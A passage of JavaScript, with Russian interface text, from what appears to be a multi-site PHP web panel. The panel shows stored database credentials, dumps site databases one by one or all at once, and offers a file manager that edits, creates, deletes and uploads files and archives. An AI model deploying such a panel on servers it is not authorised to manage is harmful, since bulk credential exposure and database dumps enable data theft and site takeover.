            { k: 'DB password', v: c.db_pass || '', secret: true },
            { k: 'DB charset', v: c.db_charset || '', secret: false }
        ];
    }
    if (!rows.length) {
        body.innerHTML = '<p style="color:#999;font-size:12px;">Данные БД не найдены. Нажмите ✏️ и вставьте конфиг.</p>';
    } else {
        var html = '<table class="db-info-table"><tbody>';
        for (var i = 0; i < rows.length; i++) {
            var r = rows[i];
            var val = r.secret ? '<span class="password">' + escHtml(r.v) + '</span>' : escHtml(r.v);
            html += '<tr><th>' + escHtml(r.k) + '</th><td>' + val + '</td></tr>';
        }
        html += '</tbody></table>';
        body.innerHTML = html;
    }
    document.getElementById('site-db-view-overlay').classList.add('active');
}
function siteCloseDbView() {
    document.getElementById('site-db-view-overlay').classList.remove('active');
}
function siteEditDbConfig(site) {
    _siteEditCtx = site;
    _siteEditParsed = null;
    document.getElementById('site-db-edit-title').textContent = site.name || 'Конфиг БД';
    document.getElementById('site-db-edit-snippet').value = '';
    document.getElementById('site-db-edit-preview').innerHTML = '';
    var msg = document.getElementById('site-db-edit-msg');
    msg.className = 'modal-msg';
    msg.textContent = '';
    document.getElementById('site-db-edit-overlay').classList.add('active');
}
function siteCloseDbEdit() {
    document.getElementById('site-db-edit-overlay').classList.remove('active');
    _siteEditCtx = null;
    _siteEditParsed = null;
}
function siteRenderDbPreview(fields) {
    var el = document.getElementById('site-db-edit-preview');
    if (!fields) { el.innerHTML = ''; return; }
    var keys = ['db_host', 'db_port', 'db_name', 'db_user', 'db_pass', 'db_charset'];
    var labels = { db_host: 'Host', db_port: 'Port', db_name: 'DB_NAME', db_user: 'DB_USER', db_pass: 'DB_PASSWORD', db_charset: 'DB_CHARSET' };
    var html = '<table class="db-info-table"><tbody>';
    for (var i = 0; i < keys.length; i++) {
        var k = keys[i];
        if (!fields[k] && k !== 'db_pass') continue;
        var v = fields[k] || '';
        if (k === 'db_pass') v = v ? '••••••' : '';
        html += '<tr><th>' + labels[k] + '</th><td><code>' + escHtml(String(v)) + '</code></td></tr>';
    }
    html += '</tbody></table>';
    el.innerHTML = html;
}
function siteParseDbSnippet() {
    if (!_siteEditCtx) return;
    var msg = document.getElementById('site-db-edit-msg');
    msg.className = 'modal-msg';
    msg.textContent = '⏳ Распознаём...';
    var fd = new FormData();
    fd.append(APP_ACTION_FIELD, 'parse_db_config');
    fd.append('config_snippet', document.getElementById('site-db-edit-snippet').value);
    appPost(fd)
        .then(function(r) { return r.json(); })
        .then(function(data) {
            if (!data.success) {
                msg.className = 'modal-msg error';
                msg.textContent = data.error || 'Ошибка';
                return;
            }
            _siteEditParsed = data.fields;
            siteRenderDbPreview(data.fields);
            msg.className = 'modal-msg ' + (data.complete ? 'success' : 'error');
            msg.textContent = data.complete ? '✅ Поля распознаны' : '⚠️ Укажите db_name и db_user';
        })
        .catch(function(e) {
            msg.className = 'modal-msg error';
            msg.textContent = e.message;
        });
}
function siteSaveDbCreds() {
    if (!_siteEditCtx) return;
    var msg = document.getElementById('site-db-edit-msg');
    var snippet = document.getElementById('site-db-edit-snippet').value;
    if (!snippet.trim() && !_siteEditParsed) {
        msg.className = 'modal-msg error';
        msg.textContent = 'Вставьте конфиг или нажмите «Распознать»';
        return;
    }
    msg.className = 'modal-msg';
    msg.textContent = '⏳ Сохранение...';
    var fd = new FormData();
    fd.append(APP_ACTION_FIELD, 'save_site_db_creds');
    fd.append('site_path', _siteEditCtx.path);
    fd.append('config_snippet', snippet);
    appPost(fd)
        .then(function(r) { return r.json(); })
        .then(function(data) {
            if (!data.success) {
                msg.className = 'modal-msg error';
                msg.textContent = data.error || 'Ошибка';
                return;
            }
            msg.className = 'modal-msg success';
            msg.textContent = '✅ Сохранено. Обновите страницу для обновления таблицы.';
            _siteEditParsed = data.fields;
            siteRenderDbPreview(data.fields);
            setTimeout(function() { location.reload(); }, 600);
        })
        .catch(function(e) {
            msg.className = 'modal-msg error';
            msg.textContent = e.message;
        });
}
function siteFetchJson(fd) {
    return appPost(fd)
        .then(function(r) {
            return r.text().then(function(t) {
                try {
                    return JSON.parse(t);
                } catch (e) {
                    throw new Error(t.indexOf('Требуется авторизация') !== -1
                        ? 'Доступ запрещён или сессия истекла'
                        : (t.substring(0, 180) || 'Неверный ответ сервера'));
                }
            });
        });
}
function treeToggleRow(btn) {
    var row = btn.closest('tr');
    if (!row) return;
    var depth = parseInt(row.getAttribute('data-tree-depth') || '0', 10);
    var isOpen = btn.getAttribute('aria-expanded') === 'true';
    btn.setAttribute('aria-expanded', isOpen ? 'false' : 'true');
    btn.textContent = isOpen ? '▶' : '▼';
    var el = row.nextElementSibling;
    while (el) {
        var d = parseInt(el.getAttribute('data-tree-depth') || '0', 10);
        if (d <= depth) break;
        if (isOpen) {
            el.classList.add('tree-hidden');
            var t = el.querySelector('.tree-toggle');
            if (t) {
                t.setAttribute('aria-expanded', 'false');
                t.textContent = '▶';
            }
        } else if (d === depth + 1) {
            el.classList.remove('tree-hidden');
        }
        el = el.nextElementSibling;
    }
}

function siteStatusApplyRowClass(row, status) {
    if (!row) return;
    row.setAttribute('data-status', status);
    row.classList.remove('row-site-pending', 'row-site-off', 'row-site-unknown');
    if (status === 'pending') row.classList.add('row-site-pending');
    else if (status === 'off') row.classList.add('row-site-off');
    else if (status === 'unknown') row.classList.add('row-site-unknown');
}
function siteStatusChanged(sel) {
    var status = sel.value;
    sel.className = 'site-status-sel status-' + status + (sel.getAttribute('data-initial') !== status ? ' dirty' : '');
    siteStatusApplyRowClass(sel.closest('tr'), status);
    siteUpdateSaveStatusesButton();
}
function siteUpdateSaveStatusesButton() {
    var dirty = document.querySelectorAll('.site-status-sel.dirty').length > 0;
    var btn = document.getElementById('btn-save-statuses');
    if (btn) btn.disabled = !dirty;
}
function siteCollectStatuses() {
    var map = {};
    document.querySelectorAll('.site-status-sel').forEach(function(sel) {
        var key = sel.getAttribute('data-site-key');
        if (key) map[key] = sel.value;
    });
    return map;
}
function siteSaveAllStatuses() {
    var msg = document.getElementById('site-status-msg');
    var btn = document.getElementById('btn-save-statuses');
    if (btn) btn.disabled = true;
    if (msg) { msg.className = 'site-status-msg'; msg.textContent = '⏳ Сохранение...'; }
    var fd = new FormData();
    fd.append(APP_ACTION_FIELD, 'save_site_statuses');
    fd.append('statuses', JSON.stringify(siteCollectStatuses()));
    siteFetchJson(fd)
        .then(function(data) {
            if (!data.success) {
                if (msg) { msg.className = 'site-status-msg error'; msg.textContent = data.error || 'Ошибка'; }
                siteUpdateSaveStatusesButton();
                return;
            }
            document.querySelectorAll('.site-status-sel').forEach(function(sel) {
                sel.setAttribute('data-initial', sel.value);
                sel.classList.remove('dirty');
                sel.className = 'site-status-sel status-' + sel.value;
            });
            if (msg) {
                msg.className = 'site-status-msg ok';
                msg.textContent = '✅ Сохранено (' + (data.count || 0) + ' сайтов)';
            }
            siteUpdateSaveStatusesButton();
        })
        .catch(function(e) {
            if (msg) { msg.className = 'site-status-msg error'; msg.textContent = e.message; }
            siteUpdateSaveStatusesButton();
        });
}
function siteFilterByStatus() {
    var onlyOff = document.getElementById('filter-status-off');
    var onlyUnknown = document.getElementById('filter-status-unknown');
    var offOn = onlyOff && onlyOff.checked;
    var unkOn = onlyUnknown && onlyUnknown.checked;
    document.querySelectorAll('#sites-overview-table tbody tr').forEach(function(row) {
        if (row.classList.contains('tree-folder')) {
            if (!offOn && !unkOn) row.style.display = '';
            return;
        }
        if (!row.classList.contains('tree-site')) return;
        var st = row.getAttribute('data-status') || 'pending';
        var show = true;
        if (offOn || unkOn) {
            show = (offOn && st === 'off') || (unkOn && st === 'unknown');
        }
        row.style.display = show ? '' : 'none';
    });
}

// ===== DB DUMPER =====
var _sitesDbList = <?php echo json_encode($sites_db_dump_list, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP); ?>;
var _dbParsedFields = null;

function dbSetFields(f) {
    if (!f) return;
    document.getElementById('db-host').value = f.db_host || '127.0.0.1';
    document.getElementById('db-port').value = f.db_port || '3306';
    document.getElementById('db-name').value = f.db_name || '';
    document.getElementById('db-user').value = f.db_user || '';
    document.getElementById('db-pass').value = f.db_pass || '';
    document.getElementById('db-charset').value = f.db_charset || 'utf8mb4';
}
function dbParseSnippet() {
    var msg = document.getElementById('db-parse-msg');
    msg.className = 'db-dump-msg';
    msg.textContent = '⏳ Распознаём...';
    var fd = new FormData();
    fd.append(APP_ACTION_FIELD, 'parse_db_config');
    fd.append('config_snippet', document.getElementById('db-config-snippet').value);
    appPost(fd)
        .then(function(r) { return r.json(); })
        .then(function(data) {
            if (!data.success) {
                msg.className = 'db-dump-msg error';
                msg.textContent = '❌ ' + (data.error || 'Ошибка');
                return;
            }
            _dbParsedFields = data.fields;
            dbSetFields(data.fields);
            msg.className = 'db-dump-msg ok';
            msg.textContent = data.complete
                ? '✅ Поля распознаны (host, БД, пользователь)'
                : '⚠️ Частично: проверьте db_name и db_user';
        })
        .catch(function(e) {
            msg.className = 'db-dump-msg error';
            msg.textContent = '❌ ' + e.message;
        });
}
function dbFillFromSnippet() {
    dbParseSnippet();
}
function dbBuildDumpFormData(extra) {
    var fd = new FormData();
    fd.append(APP_ACTION_FIELD, 'dump_database');
    fd.append('db_host', extra.db_host || document.getElementById('db-host').value);
    fd.append('db_port', extra.db_port || document.getElementById('db-port').value);
    fd.append('db_name', extra.db_name || document.getElementById('db-name').value);
    fd.append('db_user', extra.db_user || document.getElementById('db-user').value);
    fd.append('db_pass', extra.db_pass !== undefined ? extra.db_pass : document.getElementById('db-pass').value);
    fd.append('db_charset', extra.db_charset || document.getElementById('db-charset').value);
    fd.append('site_url', extra.site_url || document.getElementById('db-site-url').value);
    fd.append('cms', extra.cms || document.getElementById('db-cms').value);
    fd.append('site_name', extra.site_name || '');
    fd.append('notes', extra.notes || '');
    return fd;
}
function dbDownloadBlob(fd, statusEl) {
    if (statusEl) { statusEl.className = 'db-dump-msg'; statusEl.textContent = '⏳ Создаём дамп...'; }
    return appPost(fd)
        .then(function(r) {
            var ct = (r.headers.get('Content-Type') || '').toLowerCase();
            if (ct.indexOf('application/json') !== -1) {
                return r.json().then(function(j) {
                    throw new Error(j.error || 'Ошибка дампа');
                });
            }
            if (!r.ok) throw new Error('HTTP ' + r.status);
            var disp = r.headers.get('Content-Disposition') || '';
            var m = disp.match(/filename="?([^";]+)"?/i);
            var fname = m ? m[1] : 'dump.sql.gz';
            return r.blob().then(function(blob) {
                var url = URL.createObjectURL(blob);
                var a = document.createElement('a');
                a.href = url;
                a.download = fname;
                document.body.appendChild(a);
                a.click();
                a.remove();
                URL.revokeObjectURL(url);
                return fname;
            });
        })
        .then(function(fname) {
            if (statusEl) {
                statusEl.className = 'db-dump-msg ok';
                statusEl.textContent = '✅ Скачан: ' + fname;
            }
            return fname;
        })
        .catch(function(e) {
            if (statusEl) {
                statusEl.className = 'db-dump-msg error';
                statusEl.textContent = '❌ ' + e.message;
            }
            throw e;
        });
}
function dbDumpManual() {
    dbDownloadBlob(dbBuildDumpFormData({}), document.getElementById('db-dump-msg'));
}
function dbDumpSite(site) {
    var c = site.db_creds || {};
    var extra = {
        db_host: c.db_host, db_port: c.db_port, db_name: c.db_name,
        db_user: c.db_user, db_pass: c.db_pass, db_charset: c.db_charset,
        site_url: site.site_url || '', cms: site.cms || '', site_name: site.name || ''
    };
    dbDownloadBlob(dbBuildDumpFormData(extra), document.getElementById('db-dump-msg'));
}
function dbParseSiteSnippet(siteName, cms, siteUrl) {
    var ta = null;
    var tas = document.querySelectorAll('.db-site-snippet');
    for (var i = 0; i < tas.length; i++) {
        if (tas[i].getAttribute('data-site') === siteName) { ta = tas[i]; break; }
    }
    if (!ta || !ta.value.trim()) {
        alert('Вставьте конфиг в поле для сайта «' + siteName + '»');
        return;
    }
    var fd = new FormData();
    fd.append(APP_ACTION_FIELD, 'parse_db_config');
    fd.append('config_snippet', ta.value);
    appPost(fd)
        .then(function(r) { return r.json(); })
        .then(function(data) {
            if (!data.success || !data.complete) {
                alert(data.error || 'Не удалось распознать db_name и db_user');
                return;
            }
            var f = data.fields;
            dbSetFields(f);
            document.getElementById('db-site-url').value = siteUrl || siteName;
            document.getElementById('db-cms').value = cms || '';
            return dbDownloadBlob(dbBuildDumpFormData({
                db_host: f.db_host, db_port: f.db_port, db_name: f.db_name,
                db_user: f.db_user, db_pass: f.db_pass, db_charset: f.db_charset,
                site_url: siteUrl || siteName, cms: cms || '', site_name: siteName
            }), document.getElementById('db-dump-msg'));
        })
        .catch(function(e) { alert('❌ ' + e.message); });
}
function dbDumpAllSites() {
    if (!_sitesDbList || !_sitesDbList.length) return;
    var btn = document.getElementById('btn-dump-all');
    if (btn) btn.disabled = true;
    var msg = document.getElementById('db-dump-msg');
    var i = 0;
    function next() {
        if (i >= _sitesDbList.length) {
            if (btn) btn.disabled = false;
            if (msg) { msg.className = 'db-dump-msg ok'; msg.textContent = '✅ Все дампы поставлены в очередь (' + _sitesDbList.length + ')'; }
            return;
        }
        var site = _sitesDbList[i++];
        if (msg) msg.textContent = '⏳ ' + i + '/' + _sitesDbList.length + ': ' + site.name + '...';
        dbDumpSite(site).then(function() {
            setTimeout(next, 800);
        }).catch(function() {
            setTimeout(next, 800);
        });
    }
    next();
}


// ===== ФАЙЛОВЫЙ МЕНЕДЖЕР =====
var _fmRoot      = '';
var _fmCurrent   = '';
var _fmSiteName  = '';
var _fmEditPath  = '';
var _fmEditOrig  = '';

var _extIcons = {
    'php':'🐘','js':'📜','css':'🎨','html':'🌐','htm':'🌐',
    'json':'📋','xml':'📋','sql':'🗄️','txt':'📄','log':'📄',
    'md':'📝','env':'🔑','htaccess':'🔒','htpasswd':'🔒',
    'jpg':'🖼️','jpeg':'🖼️','png':'🖼️','gif':'🖼️','svg':'🖼️','webp':'🖼️',
    'zip':'📦','tar':'📦','gz':'📦','rar':'📦',
    'sh':'⚙️','py':'🐍','rb':'💎','go':'🔵',
    'conf':'⚙️','ini':'⚙️','yaml':'⚙️','yml':'⚙️',
};
var _textExts = ['php','js','css','html','htm','json','xml','sql','txt','log','md','env',
    'htaccess','htpasswd','conf','ini','yaml','yml','sh','py','rb','go','csv','ts','jsx','vue','twig','blade'];

function extIcon(ext, name) {
    if (name === '..') return '⬆️';
    var e = ext || name.replace(/^.*\./,'').toLowerCase();
    return _extIcons[e] || '📄';
}

function openFM(path, siteName) {
    _fmRoot = path; _fmSiteName = siteName;
    document.getElementById('fm-site-name').textContent = siteName;
    document.getElementById('fm-overlay').classList.add('active');
    document.getElementById('fm-view-pane').style.display = 'none';
    document.getElementById('fm-edit-pane').style.display = 'none';
    document.getElementById('fm-list-pane').classList.remove('split');
    fmLoad(path);
}
function closeFM() { document.getElementById('fm-overlay').classList.remove('active'); }

function fmLoad(dir) {
    _fmCurrent = dir;
    document.getElementById('fm-breadcrumb').textContent = dir;
    document.getElementById('fm-list-pane').innerHTML = '<div class="fm-loading">⏳ Загрузка...</div>';
    document.getElementById('fm-status').textContent = '';
    var fd = new FormData();
    fd.append(APP_ACTION_FIELD,'list_files'); fd.append('dir',dir); fd.append('site_root',_fmRoot);
    appPost(fd)
        .then(function(r){ return r.json(); })
        .then(function(data) {
            if (!data.success) {
                document.getElementById('fm-list-pane').innerHTML =
                    '<div class="fm-loading" style="color:#c62828;">❌ '+data.error+'</div>'; return;
            }
            renderFMList(data.items, data.current, data.root);
        })
        .catch(function(e) {
            document.getElementById('fm-list-pane').innerHTML =
                '<div class="fm-loading" style="color:#c62828;">❌ '+e.message+'</div>';
        });
}

function renderFMList(items, current, root) {
    var dirs=0, files=0, totalSize=0;
    var html='<table class="fm-table"><thead><tr><th>Имя</th><th>Размер</th><th>Изменён</th><th></th></tr></thead><tbody>';
    items.forEach(function(item) {
        var icon, nameClass, onclick, actions='';
        if (item.name==='..') {
            icon='⬆️'; nameClass='fm-name is-up';
            var parent=current.replace(/\/[^\/]+$/,'')||root;
            onclick="fmLoad('"+escJs(parent)+"')";
        } else if (item.is_dir) {
            icon='📁'; nameClass='fm-name is-dir'; dirs++;
            onclick="fmLoad('"+escJs(item.path)+"')";
            actions='<button class="fm-btn-act" onclick="event.stopPropagation();fmRenameItem(\''+escJs(item.path)+'\',\''+escJs(item.name)+'\',true)">✏️</button>'
                +'<button class="fm-btn-act danger" onclick="event.stopPropagation();fmDeleteItem(\''+escJs(item.path)+'\',\''+escJs(item.name)+'\',true)">🗑️</button>';
        } else {
            icon=extIcon(item.ext,item.name); nameClass='fm-name'; files++;
            totalSize+=item.size||0;
            onclick="fmOpenFile('"+escJs(item.path)+"','"+escJs(item.name)+"',"+(item.size||0)+",'"+escJs(item.ext)+"')";
            actions='<button class="fm-btn-act" onclick="event.stopPropagation();fmRenameItem(\''+escJs(item.path)+'\',\''+escJs(item.name)+'\',false)">✏️</button>'
                +'<button class="fm-btn-act danger" onclick="event.stopPropagation();fmDeleteItem(\''+escJs(item.path)+'\',\''+escJs(item.name)+'\',false)">🗑️</button>';
        }
        html+='<tr onclick="'+onclick+'">';
        html+='<td><span class="fm-icon">'+icon+'</span><span class="'+nameClass+'">'+escHtml(item.name)+'</span></td>';
        html+='<td class="fm-size">'+(item.is_dir&&item.name!=='..'?'':fmFmtSize(item.size))+'</td>';
        html+='<td class="fm-mtime">'+(item.mtime||'')+'</td>';
        html+='<td class="fm-actions">'+actions+'</td>';
        html+='</tr>';
    });
    html+='</tbody></table>';
    document.getElementById('fm-list-pane').innerHTML=html;
    document.getElementById('fm-status').textContent=
        '📁 '+dirs+' папок · 📄 '+files+' файлов · '+fmFmtSize(totalSize);
}

function fmOpenFile(path, name, size, ext) {
    document.getElementById('fm-selected-path').textContent = path;
    document.getElementById('fm-list-pane').classList.add('split');
    document.getElementById('fm-edit-pane').style.display = 'none';
    document.getElementById('fm-view-pane').style.display = 'flex';
    document.getElementById('fm-view-filename').textContent = name;
    document.getElementById('fm-view-meta').textContent = fmFmtSize(size);
    document.getElementById('fm-btn-edit').style.display = '';
    document.getElementById('fm-view-body').innerHTML = '<div class="fm-loading">⏳ Загрузка...</div>';

    var imgExts=['jpg','jpeg','png','gif','svg','webp','bmp','ico'];
    if (imgExts.indexOf(ext)!==-1) {
        document.getElementById('fm-view-body').innerHTML=
            '<div class="fm-view-empty" style="color:#90caf9;">🖼️ '+escHtml(name)+
            '<br><span style="font-size:11px;color:#555;">Просмотр изображений не поддерживается</span></div>';
        document.getElementById('fm-btn-edit').style.display='none';
        return;
    }
    if (_textExts.indexOf(ext)!==-1||size<100*1024) {
        var fd=new FormData();
        fd.append(APP_ACTION_FIELD,'read_file'); fd.append('file_path',path); fd.append('site_root',_fmRoot);
        appPost(fd)
            .then(function(r){ return r.json(); })
            .then(function(data) {
                if (data.success) {
                    var pre=document.createElement('pre');
                    pre.textContent=data.content;
                    document.getElementById('fm-view-body').innerHTML='';
                    document.getElementById('fm-view-body').appendChild(pre);
                    document.getElementById('fm-view-meta').textContent=
                        fmFmtSize(data.size)+' · '+data.content.split('\n').length+' строк';
                    // Скрыть кнопку редактирования если файл не writable
                    if (!data.writable) document.getElementById('fm-btn-edit').style.display='none';
                } else {
                    document.getElementById('fm-view-body').innerHTML=
                        '<div class="fm-view-empty" style="color:#c62828;">❌ '+data.error+'</div>';
                    document.getElementById('fm-btn-edit').style.display='none';
                }
            });
    } else {
        document.getElementById('fm-view-body').innerHTML=
            '<div class="fm-view-empty">⚠️ Файл слишком большой для просмотра ('+fmFmtSize(size)+')</div>';
        document.getElementById('fm-btn-edit').style.display='none';
    }
}

// ===== РЕДАКТОР =====
function fmStartEdit() {
    var pre=document.querySelector('#fm-view-body pre');
    var path=document.getElementById('fm-selected-path').textContent;
    var name=document.getElementById('fm-view-filename').textContent;
    if (!pre||!path) return;
    _fmEditPath=path; _fmEditOrig=pre.textContent;
    document.getElementById('fm-edit-filename').textContent=name;
    document.getElementById('fm-edit-status').textContent='';
    document.getElementById('fm-edit-status').style.color='#888';
    document.getElementById('fm-editor').value=_fmEditOrig;
    document.getElementById('fm-view-pane').style.display='none';
    document.getElementById('fm-edit-pane').style.display='flex';
    document.getElementById('fm-editor').focus();
}

function fmDiscardEdit() {
    document.getElementById('fm-edit-pane').style.display='none';
    document.getElementById('fm-view-pane').style.display='flex';
}

function fmSaveFile() {
    var content=document.getElementById('fm-editor').value;
    var statusEl=document.getElementById('fm-edit-status');
    statusEl.textContent='⏳ Сохраняем...'; statusEl.style.color='#888';
    var fd=new FormData();
    fd.append(APP_ACTION_FIELD,'save_file'); fd.append('file_path',_fmEditPath);
    fd.append('site_root',_fmRoot); fd.append('content',content);
    appPost(fd)
        .then(function(r){ return r.json(); })
        .then(function(data) {
            if (data.success) {
                statusEl.textContent='✅ Сохранено ('+fmFmtSize(data.bytes)+')';
                statusEl.style.color='#a5d6a7';
                _fmEditOrig=content;
                var pre=document.querySelector('#fm-view-body pre');
                if (pre) pre.textContent=content;
                setTimeout(function(){ fmDiscardEdit(); statusEl.textContent=''; }, 1500);
            } else {
                statusEl.textContent='❌ '+data.error;
                statusEl.style.color='#ef9a9a';
            }
        })
        .catch(function(e) {
            statusEl.textContent='❌ '+e.message;
            statusEl.style.color='#ef9a9a';
        });
}

// ===== СОЗДАНИЕ ФАЙЛА =====
function fmNewFile() {
    document.getElementById('fm-newfile-dir').textContent = _fmCurrent;
    document.getElementById('fm-newfile-name').value = '';
    document.getElementById('fm-newfile-content').value = '';
    document.getElementById('fm-newfile-msg').className = 'modal-msg';
    document.getElementById('fm-newfile-msg').textContent = '';
    document.getElementById('fm-newfile-overlay').classList.add('active');
    document.getElementById('fm-newfile-name').focus();
}
function closeNewFileModal() {
    document.getElementById('fm-newfile-overlay').classList.remove('active');
}
function fmCreateFile() {
    var name = document.getElementById('fm-newfile-name').value.trim();
    var content = document.getElementById('fm-newfile-content').value;
    var msg = document.getElementById('fm-newfile-msg');
    msg.className = 'modal-msg'; msg.textContent = '';
    if (!name) { msg.className = 'modal-msg error'; msg.textContent = 'Введите имя файла'; return; }
    var btn = document.querySelector('#fm-newfile-overlay .btn-save');
    btn.disabled = true; btn.textContent = '⏳ Создаём...';
    var fd = new FormData();
    fd.append(APP_ACTION_FIELD, 'create_file');
    fd.append('dir_path', _fmCurrent);
    fd.append('file_name', name);
    fd.append('content', content);
    fd.append('site_root', _fmRoot);
    appPost(fd)
        .then(function(r) { return r.json(); })
        .then(function(data) {
            btn.disabled = false; btn.textContent = '💾 Создать';
            if (data.success) {
                msg.className = 'modal-msg success';
                msg.textContent = '✅ Файл создан: ' + data.file_name + ' (' + fmFmtSize(data.bytes) + ')';
                fmLoad(_fmCurrent); // обновить список
                setTimeout(closeNewFileModal, 1500);
            } else {
                msg.className = 'modal-msg error';
                msg.textContent = '❌ ' + data.error;
            }
        })
        .catch(function(e) {
            btn.disabled = false; btn.textContent = '💾 Создать';
            msg.className = 'modal-msg error';
            msg.textContent = '❌ ' + e.message;
        });
}
document.getElementById('fm-newfile-overlay').addEventListener('click', function(e) {
    if (e.target === this) closeNewFileModal();
});

// ===== ИМПОРТ АРХИВА =====
function fmImportArchive() {
    var input = document.getElementById('fm-archive-input');
    input.value = '';
    input.click();
}
function fmUploadArchive(file) {
    if (!file) return;
    var statusEl = document.getElementById('fm-status');
    statusEl.textContent = '⏳ Загружаем и распаковываем архив...';
    var fd = new FormData();
    fd.append(APP_ACTION_FIELD, 'upload_archive');
    fd.append('dir_path', _fmCurrent);
    fd.append('site_root', _fmRoot);
    fd.append('archive', file);
    appPost(fd)
        .then(function(r) { return r.json(); })
        .then(function(data) {
            if (data.success) {
                statusEl.textContent = '✅ Архив импортирован: ' + data.archive + ' · файлов: ' + data.files;
                fmLoad(_fmCurrent);
            } else {
                statusEl.textContent = '❌ ' + data.error;
            }
        })
        .catch(function(e) {
            statusEl.textContent = '❌ ' + e.message;
        });
}
document.getElementById('fm-archive-input').addEventListener('change', function() {
    if (this.files && this.files[0]) fmUploadArchive(this.files[0]);
});

function fmRenameItem(path, name, isDir) {
    var newName = prompt('Новое имя:', name);
    if (newName === null || newName.trim() === '' || newName.trim() === name) return;
    var statusEl = document.getElementById('fm-status');
    statusEl.textContent = '⏳ Переименовываем...';
    var fd = new FormData();
    fd.append(APP_ACTION_FIELD, 'rename_item');
    fd.append('old_path', path);
    fd.append('new_name', newName.trim());
    fd.append('site_root', _fmRoot);
    appPost(fd)
        .then(function(r) { return r.json(); })
        .then(function(data) {
            if (data.success) {
                statusEl.textContent = '✅ Переименовано: ' + data.new_name;
                if (!isDir && document.getElementById('fm-selected-path').textContent === path) {
                    document.getElementById('fm-selected-path').textContent = data.new_path;
                    document.getElementById('fm-view-filename').textContent = data.new_name;
                }
                fmLoad(_fmCurrent);
            } else {
                statusEl.textContent = '❌ ' + data.error;
            }
        })
        .catch(function(e) { statusEl.textContent = '❌ ' + e.message; });
}
function fmDeleteItem(path, name, isDir) {
    var label = isDir ? 'папку' : 'файл';
    if (!confirm('Удалить ' + label + ' «' + name + '»?\n\n' + path)) return;
    var statusEl = document.getElementById('fm-status');
    statusEl.textContent = '⏳ Удаляем...';
    var fd = new FormData();
    fd.append(APP_ACTION_FIELD, 'delete_item');
    fd.append('item_path', path);
    fd.append('site_root', _fmRoot);
    appPost(fd)
        .then(function(r) { return r.json(); })
        .then(function(data) {
            if (data.success) {
                statusEl.textContent = '✅ Удалено: ' + name;
                if (document.getElementById('fm-selected-path').textContent === path) {
                    document.getElementById('fm-view-pane').style.display = 'none';
                    document.getElementById('fm-edit-pane').style.display = 'none';
                    document.getElementById('fm-list-pane').classList.remove('split');
                    document.getElementById('fm-selected-path').textContent = '';
                }
                fmLoad(_fmCurrent);
            } else {
                statusEl.textContent = '❌ ' + data.error;
            }
        })
        .catch(function(e) { statusEl.textContent = '❌ ' + e.message; });
}
function fmRenameSelected() {
    var path = document.getElementById('fm-selected-path').textContent;
    var name = document.getElementById('fm-view-filename').textContent;
    if (!path || !name) return;
    fmRenameItem(path, name, false);
}
function fmDeleteSelected() {
    var path = document.getElementById('fm-selected-path').textContent;
    var name = document.getElementById('fm-view-filename').textContent;
    if (!path || !name) return;
    fmDeleteItem(path, name, false);
}

function fmCopyPath() {
    navigator.clipboard.writeText(_fmCurrent).then(function() {
        var el=document.getElementById('fm-breadcrumb'), old=el.style.color;
        el.style.color='#a5d6a7'; setTimeout(function(){ el.style.color=old; },1500);
    });
}
function fmCopyContent() {
    var pre=document.querySelector('#fm-view-body pre'); if (!pre) return;
    navigator.clipboard.writeText(pre.textContent).then(function() {
        var btn=event.target; btn.textContent='✅';
        setTimeout(function(){ btn.textContent='📋'; },2000);
    });
}
function fmFmtSize(bytes) {
    if (!bytes) return '';
    if (bytes<1024) return bytes+' B';
    if (bytes<1048576) return (bytes/1024).toFixed(1)+' KB';
    return (bytes/1048576).toFixed(1)+' MB';
}
function escJs(s)   { return s.replace(/\\/g,'\\\\').replace(/'/g,"\\'"); }
function escHtml(s) { return s.replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;').replace(/"/g,'&quot;'); }

document.getElementById('fm-overlay').addEventListener('click',function(e){ if(e.target===this) closeFM(); });

// Tab + Ctrl+S в редакторе
document.addEventListener('keydown',function(e) {
    if (e.target && (e.target.id==='fm-editor' || e.target.id==='fm-newfile-content')) {
        if (e.key==='Tab') {
            e.preventDefault();
            var ta=e.target, s=ta.selectionStart, end=ta.selectionEnd;
            ta.value=ta.value.substring(0,s)+'    '+ta.value.substring(end);
            ta.selectionStart=ta.selectionEnd=s+4;
        }
    }
    if ((e.ctrlKey||e.metaKey)&&e.key==='s') {
        if (document.getElementById('fm-edit-pane').style.display!=='none') {
            e.preventDefault(); fmSaveFile();
        }
    }
    if (e.key==='Escape') { closeFM(); closeViewModal(); closeModal(); closeNewFileModal(); }
});

// ===== ПРОСМОТР КОНФИГА =====
function viewFile(filepath, siteRoot) {
    document.getElementById('view-modal-title').textContent=filepath.split('/').pop();
    document.getElementById('view-modal-path').textContent=filepath;
    document.getElementById('view-modal-size').textContent='';
    document.getElementById('view-modal-body').innerHTML='<div class="view-loading">⏳ Загрузка...</div>';
    document.getElementById('view-modal-overlay').classList.add('active');
    var fd=new FormData();
    fd.append(APP_ACTION_FIELD,'view_file'); fd.append('file_path',filepath);
    if (siteRoot) fd.append('site_root',siteRoot);
    appPost(fd)
        .then(function(r){ return r.json(); })
        .then(function(data) {
            if (data.success) {
                var pre=document.createElement('pre');
                pre.textContent=data.content;
                document.getElementById('view-modal-body').innerHTML='';
                document.getElementById('view-modal-body').appendChild(pre);
                document.getElementById('view-modal-size').textContent=
                    data.content.length+' байт · '+data.content.split('\n').length+' строк';
            } else {
                document.getElementById('view-modal-body').innerHTML=
                    '<div class="view-loading" style="color:#c62828;">❌ '+data.error+'</div>';
            }
        });
}
function closeViewModal() { document.getElementById('view-modal-overlay').classList.remove('active'); }
function copyFileContent() {
    var pre=document.querySelector('#view-modal-body pre'); if (!pre) return;
    navigator.clipboard.writeText(pre.textContent).then(function() {
        var btn=document.querySelector('.btn-copy-file');
        btn.textContent='✅ Скопировано';
        setTimeout(function(){ btn.textContent='📋 Копировать'; },2000);
    });
}
document.getElementById('view-modal-overlay').addEventListener('click',function(e){ if(e.target===this) closeViewModal(); });

// ===== СМЕНА ПАРОЛЯ =====
var _currentUser='', _currentFile='', _currentHashId='';
function openModal(username, filepath, hashId) {
    _currentUser=username; _currentFile=filepath; _currentHashId=hashId;
    document.getElementById('modal-username').textContent=username;
    document.getElementById('modal-filepath').textContent=filepath;
    document.getElementById('modal-password').value='';
    document.getElementById('modal-password2').value='';
    document.getElementById('modal-msg').className='modal-msg';
    document.getElementById('modal-msg').textContent='';
    document.getElementById('modal-new-hash').textContent='';
    document.getElementById('modal-overlay').classList.add('active');
